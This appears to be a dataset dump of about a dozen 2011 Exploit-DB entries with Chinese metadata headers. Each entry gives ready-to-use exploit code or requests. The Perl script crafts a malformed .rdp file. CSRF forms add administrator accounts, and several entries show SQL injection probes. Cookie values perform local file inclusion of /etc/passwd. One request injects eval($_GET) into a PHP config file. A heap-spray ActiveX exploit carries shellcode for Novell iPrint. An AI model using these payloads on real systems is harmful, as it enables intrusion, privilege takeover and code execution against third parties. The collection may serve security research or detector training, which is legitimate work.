QLWD/code_shield huggingface dataset:
标题: Terminal Server Client - '.rdp' Denial of Service EDB-ID: 16095 CVE: 2011-0901 2011-0900 类型: DOS 平台: LINUX 发布日期: 2011-02-02 漏洞利用脚本: #!/usr/bin/perl
# Exploit Title: [Terminal Server Client .rdp Dos ]
# Date: [2011-02-01]
# Author: [D3V!L FUCKER]
# Software Link: [sudo apt-get install tsclient] ^_^
# Version: [All Version]
# Tested on: [ubuntu 10.10]
##############################################################
#press to open then chois the T-T34M.rdp file then connect ^_^
#C0d3d By : SarBoT511 XD
print q(
  
4bdull4h@w.cn
               _
              | |
              | |===( )   //////
              |_|   |||  | o o|
                     ||| ( c  )                  ____
                      ||| \= /                  ||   \_
                       ||||||                   ||     |
                       ||||||                ...||__/|-"
                       ||||||             __|________|__
                         |||             |______________|
                         |||             || ||      || ||
                         |||             || ||      || ||
 ------------------------|||-------------||-||------||-||-------
                         |__>            || ||      || ||


      hit any key to continue
);
$headr1="alternate full switch:i:0
alternate shell:s:
attach to console:i:0
audiomode:i:0
auto connect:i:0
diskmapping:i:0
bitmapcachepersistenable:i:1\n";
$buffer="client hostname:s:"."A" x 500;
$headr2="compression:i:0
description:s:
desktop size id:i:1
desktopheight:i:0
desktopwidth:i:0
disable full window drag:i:0
disable menu anims:i:0
disable themes:i:0
disable wallpaper:i:0
displayconnectionbar:i:0
domain:s:
enable alternate shell:i:0
enable wm keys:i:0
full address:s:127.0.0.1
hide wm decorations:i:0
keyboard language:s:
keyboardhook:i:0
no motion events:i:0
password:b:
password 51:b:
progman group:s:
protocol:i:0
protocol file:s:
redirectcomports:i:0
redirectdrives:i:0
redirectprinters:i:0
redirectsmartcards:i:0
screen mode id:i:1
session bpp:i:0
shell working directory:s:
username:s:
winposstr:s:";
open (myfile,'>>T-T34M.rdp');
print myfile $headr1.$buffer.$headr2;
close(myfile); URL: https://www.exploit-db.com/exploits/16095
标题: Zikula CMS 1.2.4 - Cross-Site Request Forgery EDB-ID: 16097 CVE: 2011-0535 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-02 漏洞利用脚本: Source: http://packetstormsecurity.org/files/view/98060/zikulacms-xsrf.txt

====================================================
Zikula CMS 1.2.4 <= Cross Site Request Forgery (CSRF) Vulnerability
====================================================


1. OVERVIEW

The Zikula 1.2.4 and lower versions were vulnerable to Cross Site
Request Forgery (CSRF).


2. BACKGROUND

Zikula is a Web Application Toolkit, which allows you to run
impressive websites and build powerful online applications. Zikula has
received praise for many things, but we belive the highlights are ease
of use, quick and easy development, security and performance and
lastly flexibility.


3. VULNERABILITY DESCRIPTION

Zikula CMS 1.2.4 and lower versions contain a flaw that allows a
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw
exists because the application does not require multiple steps or
explicit confirmation for sensitive transactions for majority of
administrator functions such as adding new user, assigning user to
administrative privilege. By using a crafted URL, an attacker may
trick the victim into visiting to his web page to take advantage of
the trust relationship between the authenticated victim and the
application. Such an attack could trick the victim into executing
arbitrary commands in the context of their session with the
application, without further prompting or verification.


4. VERSIONS AFFECTED

1.2.4 <=


5. PROOF-OF-CONCEPT/EXPLOIT

The following request escalates a normal user to an administrator.

[REQUEST]
POST /zikula/index.php?module=users&type=admin&func=processusers&op=edit
HTTP/1.1

authid=&userid=3&do=yes&access_permissions%5B%5D=2&access_permissions%5B%5D=1&uname=tester&email=tester%40yehg.net&pass=&vpass=&activated=1&theme=&submit=
[/REQUEST]


6. SOLUTION

Upgrade to Zikula 1.2.5 or higher


7. VENDOR

Zikula Foundation
http://zikula.org/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-24: notified vendor
2011-01-25: vendor released fix
2011-02-01: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/
Vendor Released Info:
http://community.zikula.org/index.php?module=News&func=display&sid=3041&title=zikula-1.2.5-released
Zikula 1.2.5 Changlog:
http://code.zikula.org/core12/browser/tags/Zikula-1.2.5/src/docs/CHANGELOG
CSRF Wiki: https://secure.wikimedia.org/wikipedia/en/wiki/Cross-site_request_forgery


#yehg [2011-02-01]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd URL: https://www.exploit-db.com/exploits/16097
标题: RedaxScript 0.3.2 - Multiple Vulnerabilities EDB-ID: 16096 CVE: 2011-5313 类型: WEBAPPS 平台: PHP 发布日期: 2011-02-02 漏洞利用脚本: ==================================
Vulnerability ID: HTB22805
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_redaxscript.html
Product: Redaxscript
Vendor: http://redaxscript.com/ ( http://redaxscript.com/ ) 
Vulnerable Version: 0.3.2
Vendor Notification: 18 January 2011 
Vulnerability Type: Path disclosure
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/templates/default/index.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/templates/default/index.php

Solution: Upgrade to the most recent version



==================================
Vulnerability ID: HTB22804
Reference: http://www.htbridge.ch/advisory/sql_injection_in_redaxscript.html
Product: Redaxscript
Vendor: http://redaxscript.com/ ( http://redaxscript.com/ ) 
Vulnerable Version: 0.3.2
Vendor Notification: 18 January 2011 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/includes/password.php" script to properly sanitize user-supplied input in "id" & "password" variables.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


1. Register new user
2. Reset password for this user with link http://[host]/reminder
3. Now open link from email. Link like http://[host]/password_reset/2/7c2fd13ae101cb21b9ab75692a29fd46
4. Send form and edit post variables with burp suite

POST /password_reset HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

task=1&id=2'SQL_CODE_HERE&password=1'SQL_CODE_HERE&solution=c4ca4238a0b923820dcc509a6f75849b&token=217cbb9548a07f9a5ac3181867aadeec&password_reset=Submit 

Solution: Upgrade to the most recent version URL: https://www.exploit-db.com/exploits/16096
标题: AWCM 2.2 Final - Local File Inclusion EDB-ID: 16049 CVE: 2011-0903 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-26 漏洞利用脚本: [+]Exploit Title: [awcm v2.2 final Local File Inclusion]
[+]Date: [26-01-2011]
[+]Author: Cucura , Ste@lth (Bl@ck_Falc0n)
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.2]
[+]CVE : - 
[+]Contact: Blackcucura[at]Gmail.com
http://sourceforge.net/projects/awcm/files/
-----------------------------------------------------------------

Vuln C0de  in header.php

if(isset($_COOKIE['awcm_theme'])) {
 $theme_file = $_COOKIE['awcm_theme'];
} else {
 $theme_file = $mysql_maininfo_row['defult_theme'];
}

if(isset($_COOKIE['awcm_lang'])) {
 $lang_file = $_COOKIE['awcm_lang'];
} else {
 $lang_file = $mysql_maininfo_row['defult_language'];
}


-----------------------------------------------------------------


[+]Exploit: http://target/awcm/index.php

 GET http://192.168.43.173/awcm/index.php HTTP/1.0
 Cookie: awcm_theme=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/index.php

 GET http://192.168.43.173/awcm/index.php HTTP/1.0
 Cookie: awcm_lang=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/header.php

 GET http://192.168.43.173/awcm/header.php HTTP/1.0
 Cookie: awcm_lang=../../../../etc/passwd%00; 


[+]Exploit: http://target/awcm/header.php

 GET http://192.168.43.173/awcm/header.php HTTP/1.0
 Cookie: awcm_theme=../../../../etc/passwd%00; 


-----------------------------------------------------------------
Greetz : SpeeDr00t, ReDr0se, InsideJ , eidisky Bl@ck Falc0n Team URL: https://www.exploit-db.com/exploits/16049
标题: PHP Lowbids - 'viewfaqs.php' Blind SQL Injection EDB-ID: 16020 CVE: 2011-0646 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-20 漏洞利用脚本: ==
[+]Script: PHP Lowbids
[+]Version: n/a
[+]Link: http://phplowbids.com
==
[+]Author: BorN To K!LL - h4ck3r
[+]Contact: SQL@hotmail.co.uk
==
[+]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[+]3xample:
/viewfaqs.php?cat=1 and substring(version(),1,1)=4               // true
/viewfaqs.php?cat=1 and substring(version(),1,1)=5               // false

==
[+]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
== URL: https://www.exploit-db.com/exploits/16020
标题: phpCMS 2008 - SQL Injection EDB-ID: 16019 CVE: 2011-0645 2011-0644 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-20 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

[~] Tybe: REMOTE SQL iNJECTioN 
[~] Vendor: www.phpcms.cn

[+] Software: Phpcms 2008 V2
[+] author: ((R3d-D3v!L)) 
[~] 
[+] TEAM: Xp10_hACKEr & 403-T3AM
[~] 
[?] contact: X[at]hotmail.co.jp 
[-] 
[?] Date: 17.jan.2011  
[?] T!ME: 05:15 am GMT  
[?] Home: WwW.XP10.COM 
[^]� Xp10_hAcKEr 
[?] 

====================================================================================== 
# REMOTE SQL iNJECTioN Vulnerabilities 
====================================================================================== 

[*] Err0r C0N50L3:


http://server/bbs/phpcms_th/flash_upload.php?modelid= EV!L INJECT!ON




[*] prove of concept = 


http://server/bbs/phpcms_th/flash_upload.php?modelid=1+order+by+20--    (false)


http://server/bbs/phpcms_th/flash_upload.php?modelid=1+order+by+19--    (TruE)


Already Tested on Win Xp

[~]-----------------------------{((Xp10_hACkEr))}------------------------------------------------
# 
# 
[~] Greetz tO: [dolly &MERNA &po!S!ON Sc0rp!0N & ((hetlar jeddaH))  &(Nochelove) &emeliya & NEX ] 
# 
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # 
# 
[~] spechial thanks : ((HITLER JEDDAH & rootshell& DR.DAShER& abo shahd &abo mohammed)) ALL XP10 MEMbers # 
# 
[?]spechial SupP0RT : MY M!ND # � 
# 
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((R3d D3v!L<---&--->JUPA<---aNd--->Devil ro0t)) # 
# 
[~]spechial FR!ND: XP10.COM -_-_- lurklife.com # 
# 
[~] !'M 4R48!4N 3XPL0!73R. # 
# 
[~]{[(D!R 4ll 0R D!E)]}; # 
# 
[~]--------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/16019
标题: PHP Link Directory 4.1.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 16037 CVE: 2011-0643 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-23 漏洞利用脚本: PHP Link Directory v4.1.0 CSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.phplinkdirectory.com/
.:. Dork           : "Powered by: PHP Link Directory"
.:. Gr34T$ T0 [h1ch4m] & [Risky] & [www.Hack-Book.com] 

####################################################################

===[ Exploit ]===
<html>
<head>
<title>PHP Link Directory v4.1.0 [Add Admin]</title>
</head>
<H2>CSRF Add Admin By AtT4CKxT3rR0r1ST</H2>
<form method="POST" name="form0" action="http://localhost/admin/conf_users_edit.php?action=N">
<input type="hidden" name="LOGIN" value="webmaster"/>
<input type="hidden" name="NAME" value="Mohammad Hussien"/>
<input type="hidden" name="PASSWORD" value="123456"/>
<input type="hidden" name="PASSWORDC" value="123456"/>
<input type="hidden" name="LANGUAGE" value="sq"/>
<input type="hidden" name="EMAIL" value="example@hotmail.com"/>
<input type="hidden" name="cemail" value="1"/>
<input type="hidden" name="LEVEL" value="1"/>
<input type="hidden" name="formSubmitted" value="1"/>
<input type="hidden" name="id" value=""/>
<input type="hidden" name="exclude_id" value=""/>
</form>

</body>
</html>
#################################################################### URL: https://www.exploit-db.com/exploits/16037
标题: Simploo CMS 1.7.1 - PHP Code Execution EDB-ID: 16016 CVE: 2011-0635 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-19 漏洞利用脚本: Simploo CMS Community Edition - Remote PHP Code Execution Issue

Details
=============
Product: Simploo CMS Community Edition
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.simploo.de/
Advisory-Status: published

Credits
=============
Discovered by: David Vieira-Kurz of MajorSecurity

Affected Products:
=============
Simploo CMS 1.7.1 and prior

Description
=============
"Simploo CMS is a content management system (CMS)."

More Details
=============
I have discovered some vulnerabilities in Simploo CMS, which can be
exploited by malicious people to compromise a vulnerable system.
Input passed via the "FTP-Server" field when editing FTP options is not
properly sanitised in lib/Simploo/Config/Writer/Ini.php before being
saved to the config/custom/base.ini.php file. This can be exploited to
inject and execute arbitrary PHP code via a specially crafted parameter
value. Successful exploitation requires "write" privileges.

Proof of Concept
=============
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;
rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: application/json, text/javascript, */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest Referer:
http://localhost/simploo/index.php/sifront/page/show/%5Bdraft%5D1
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;
si_admin_selected=si_tree_settings_updates_options;
si_admin_open=si_tree_settings_general%2Csi_tree_settings_general_system%2Csi_tree_settings_updates%2Csi_tree_settings_bemodules%2Csi_tree_settings_contentelements
Pragma: no-cache Cache-Control: no-cache Content-Length: 105
ftpenable=&ftpserver=*%2F+eval%28%24_GET%5Bx%5D%29%3B%2F*&ftpuser=&ftppass=&ftppasv=0&ftpssl=0&ftpremote=

Exploit
=============
http://localhost/simploo/config/custom/base.ini.php?x=phpinfo%28%29;

Solution
=============
Edit the source code to ensure that input is properly sanitised.

Timeline
================
2010-07-16, vulnerability identified
2010-07-17, vendor contacted and asked for pgp key
2010-07-19, vendor sent his pgp key
2010-07-20, vulnerability sent to vendor
2011-01-18, advisory published after 6 month

Use of terms
================
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact us
for permission. Use of the advisory constitutes acceptance for use in an
"as is" condition. All warranties are excluded. In no event shall
MajorSecurity be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages, even if MajorSecurity has been advised of the possibility of
such damages. URL: https://www.exploit-db.com/exploits/16016
标题: Joomla! Component allCineVid 1.0.0 - Blind SQL Injection EDB-ID: 16010 CVE: 2011-0511 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-18 漏洞利用脚本: http://adv.salvatorefresta.net/allCineVid_Joomla_Component_1.0.0_Blind_SQL_Injection_Vulnerability-18012011.txt

allCineVid Joomla Component 1.0.0 Blind SQL Injection Vulnerability

 Name              allCineVid
 Vendor            http://www.joomtraders.com
 Versions Affected 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2011-01-18

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

allCineVid is a commercial Joomla's extension.  It allows
you to add videos into your Joomla! website  through  the
use of modules and lightbox windows.


II. DESCRIPTION
_______________

A parameter is not properly sanitised  before  being used
in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection
______________________

The id parameter is not  properly  sanitised before being
used in SQL queries.  This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Blind SQL Injection

http://site/path/index.php?option=com_allcinevid&tmpl=component&id=1 and 1=1
http://site/path/index.php?option=com_allcinevid&tmpl=component&id=1 and 1=0


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/16010
标题: N-13 News 3.4 - Cross-Site Request Forgery (Admin Add) EDB-ID: 16013 CVE: 2011-0642 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-18 漏洞利用脚本: ========================================================
N-13 News 3.4 Remote Admin Add CSRF Exploit
========================================================

#Title: N-13 News 3.4 Remote Admin Add CSRF Exploit

#Author         :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; hack-book.com // GlaDiatOr ; Coffin Of Evil ;The Sword; Cyber-Err0r ; R3d-D3v1L

#special thanks    :  1337db team : r0073r, Sid3^effects ,L0rd CruSad3r ,SeeMe ,gunslinger_ ,Sn!pEr.S!Te , indoushka , KnocKout,
 
#Home     : http://1337db.com

#Software :  http://network-13.com

#Version   :  3.4

#Tested on:   Windows XP sp3

-----------------------------------
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by anT!-Tr0J4n</H2>
<form method="POST" name="form0" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form1" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/> 
</form>

</body>
</html> URL: https://www.exploit-db.com/exploits/16013
标题: Seo Panel 2.2.0 - Cookie-Rendered Persistent Cross-Site Scripting EDB-ID: 16000 CVE: 2010-4331 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-16 漏洞利用脚本: 'Seo Panel' Cookie-Rendered Persistent XSS Vulnerability (CVE-2010-4331)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in 'Seo Panel' page rendering which allows for unfiltered, unencrypted content to be presented to a user through two different cookies.

 
II. TESTED VERSION
---------------------------------------
2.2.0


III. PoC EXPLOIT
---------------------------------------
Alter the value of cookies called 'default_news' or 'sponsors' and then view a site page which includes controllers/index.ctrl.php or controllers/settings.ctrl.php that will render the cookies as they exist on the user's machine.


IV. NOTES 
---------------------------------------
* The 'default_news' cookie doesn't require a user to be authenticated whereas 'sponsors' does
* The disclosure date was pushed a full month so that a fix could be released but no update was released yet
* Based on discussions with the developer, they will likely encrypt the cookie contents to prevent this issue


V. SOLUTION
---------------------------------------
Upgrade to a release > 2.2.0 when available or otherwise disable cookie rendering.


VI. REFERENCES
---------------------------------------
http://www.seopanel.in/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4331
http://www.uncompiled.com/2011/01/seo-panel-cookie-rendered-persistent-xss-vulnerability-cve-2010-4331/


VII. TIMELINE
---------------------------------------
11/24/2010 - Initial vendor disclosure
11/25/2010 - Vendor response and commitment to fix
11/25/2010 - Reply to vendor detailing potential fixes and an adjusted public disclosure date
11/25/2010 - Vendor response confirming desired public disclosure date and agreement to patch method
01/15/2011 - Public disclosure URL: https://www.exploit-db.com/exploits/16000
标题: Novell iPrint 5.52 - ActiveX 'GetDriverSettings()' Command Execution EDB-ID: 16014 CVE: 2010-4321 类型: REMOTE 平台: WINDOWS 发布日期: 2011-01-19 漏洞利用脚本: <!--
Novell iPrint <= 5.52 ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256)
Coded By: Dr_IDE
Reference: http://www.zerodayinitiative.com/advisories/ZDI-10-256/
Reference: http://www.vupen.com/english/advisories/2010/3023
Tested On: Windows XP SP3
-->
<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/></object>
<script >
// Calc.exe
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
                       
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=250; counter++) ret+=unescape("%0C%0C%0C%0C");    

arg1 = 'printer';
arg2 = 'realm';
arg3 = 'user';
arg4 = 'pass';

//The code is interesting here, there are two different calls but they both actually
//hit the same code within the app. GetDriverSettings2() is triggered internally by both calls.
target.GetDriverSettings(ret,arg2,arg3,arg4);
//target.GetDriverSettings2(ret,arg2,arg3,arg4);
</script>
</html>

#http://pocoftheday.blogspot.com URL: https://www.exploit-db.com/exploits/16014